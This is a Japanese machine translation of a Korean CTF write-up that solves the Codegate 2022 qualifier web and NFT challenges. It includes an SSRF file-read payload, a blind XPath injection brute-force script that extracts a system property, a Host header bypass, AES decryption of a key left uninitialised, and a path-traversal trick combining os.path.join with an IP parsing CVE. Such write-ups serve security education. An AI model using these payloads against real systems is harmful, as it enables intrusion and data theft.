Codegate 2022 Web/Blockchain Writeup
Codegate 2022 予選のWeb全問およびBlockchain(NFT)問題の解法
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む本戦には行けなかったので、適当に書きます…
Web問をあまりにも早く解き終わってしまったのでブロックチェーン(以下、BC)だけ見ていたのですが、個人的にBCについて無知すぎて、かなり悔いが残りました(泣)
nft問題はチームメンバーのepistが助けてくれました(感謝感謝)
[Baby First]
要約
ssrfでregex検査を回避し、local fileをleakする
当然babyと付いていたので、これ最初から見たせいか、First Bloodを取ってしまった問題です;;

ざっとコードを見ると、classファイル内のlookupImg関数で、memoの内容のうち[](角括弧)内に入るものをurlとして受け取り、imageをパースしてimgタグに入れています。
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file"))
return "";この時、java.net.URLを使用して入れていますが、その前にstartsWith関数でfile:プロトコルで始まっているか検査します。
java.net.URLを監査(Auditing)してみると

上記のようにurl:で始まると、start(input argument, url)を+= 4しているのが分かります。
memo=[url:file:///flag]とすれば解けます。

[ CAFE ]
要約:xss botにadmin passwordが存在する(非想定解)、parse_urlのバグ(?)を利用する(想定解)
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;parse_url($src)['host']でhost検査をしていますが、これは簡単に回避可能です。
関連ドキュメントとしては、Orange Tsai兄貴の資料が非常に参考になります。
探すのが面倒なので、リンクは貼りません。
# xss bot python code
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()とにかく、本来はそういう問題でしたが、xss botにパスワードが入っていました。
Webを速攻で解き終わり、BCまで見て完全にやることがなくなった後、想定解法で再挑戦しようとしましたが、ブロックチェーンの1問が解けず、そのまま大会が終わってしまい見れませんでした。おそらくjavascript://youtube.com/[改行][コード]でいけると思います。
[ superbee ]
要約:admin/password(非想定解)、AES uninitialized key+padding it, iv from key decrypt

私は正直、大会中にこの問題がなぜ100点まで落ちたのかという疑問を最後まで拭えませんでした。
あ、ところが大会が終わってみると、アカウントがadmin/passwordだったそうです。
うわぁ…;
ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607とりあえずauth_keyをauth_secret_keyだったかな?とにかくそれを使ってAES CBC Encryptしてadminページに表示しています。
host localhostで検査していますが、直接ncで接続してhostを変えてやればあっさり通りました。
func (this *AdminController) AuthKey() {
encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}ざっとコードを見ると、上で暗号化する際に使われるauth_crypt_keyが宣言だけされていて、値を読み込んでいません。
func AesEncrypt(origData, key []byte) ([]byte, error) {
padded_key := Padding(key, 16)
block, err := aes.NewCipher(padded_key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}そしてそれをkey size分だけpaddingしていますが、その結果は\x10*16です。
ivもまた、上記のpaddingで作られたkeyの値からblocksize分だけ切り取って使うため、私たちはkeyとivの両方を知っています。
arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'速攻で復号化

速攻でフラグゲット
[ myblog ]
要約:blind xpath injectionでcatalina.propertiesに設定されたenviron variable leak
もうjsp問題が出ると、とりあえずTomcat、jdkから監査する癖がついてしまいました。
ざっとcatalina.propertiesにフラグがセットされているのを見て、System.getPropertyのような関数がxpathを使用する際に内部的に使われるだろうと思い、我らが神・Sublime兄貴でctrl+shift+fを叩き、getPropertyを検索してリファレンスチェックをしました。
そうするとSecuritySupport.javaで使っているものがあったので、なんとなく覚えておきつつ、

xpath functionらを利用して解くのだろうと思い、そっちを見るとsystem-propertyという非常に良さげなやつがいました。
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
- https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87
だいたい上記のフローで呼び出されるのが分かりますが、

ローカルテスト BINGO
ざっとblind xpath injeciton構文を組んでlength checkをして、
from arang import *
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
for c in "0123456789abcdef}":
url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
r = s.get(url)
if 'asdf' not in r.content.decode():
flag += c
print(f"[{len(flag)}/46] flag - {flag}")
breakエクスプロイト実行

get flag
[ nft ]
要約:blockchainですがwebchallであり、1dayとpython trickを利用
modifier contains (string memory what, string memory where) {
bytes memory whatBytes = bytes (what);
bytes memory whereBytes = bytes (where);
require(whereBytes.length >= whatBytes.length);
bool found = false;
for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
bool flag = true;
for (uint j = 0; j < whatBytes.length; j++)
if (whereBytes [i + j] != whatBytes [j]) {
flag = false;
break;
}
if (flag) {
found = true;
break;
}
}
require (!found);
_;
}contains関数がちょっと杜撰です。
[requirements.txt 中]
Django==3.2.1
?
https://packetstormsecurity.com/files/cve/CVE-2021-33571
よし
>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')これで127.00.0.1を与えればcontainsを回避できます。
>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'nft_file = uri.split(nft_path + '/')[-1]
if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
path = os.path.join(os.getcwd(), nft_path, nft_file)
with open(path, 'rb') as f:
return f.read()os.path.joinを使う際、3番目の引数に絶対パスを与えると、絶対パスに変わってしまうというトリックがあります。
これと組み合わせて使えば、
127.00.0.1/acount/storages//home/ctf/flag.txt
このように与えると、with open(path, 'rb') as fでpathに/home/ctf/flag.txtが入るようになり、フラグを読むことができます。
脆弱性は見つけましたが、BC弱者なので実際のエクスプロイトができず、チームメンバーのepistが代わりにやってくれました(感謝感謝)
コメント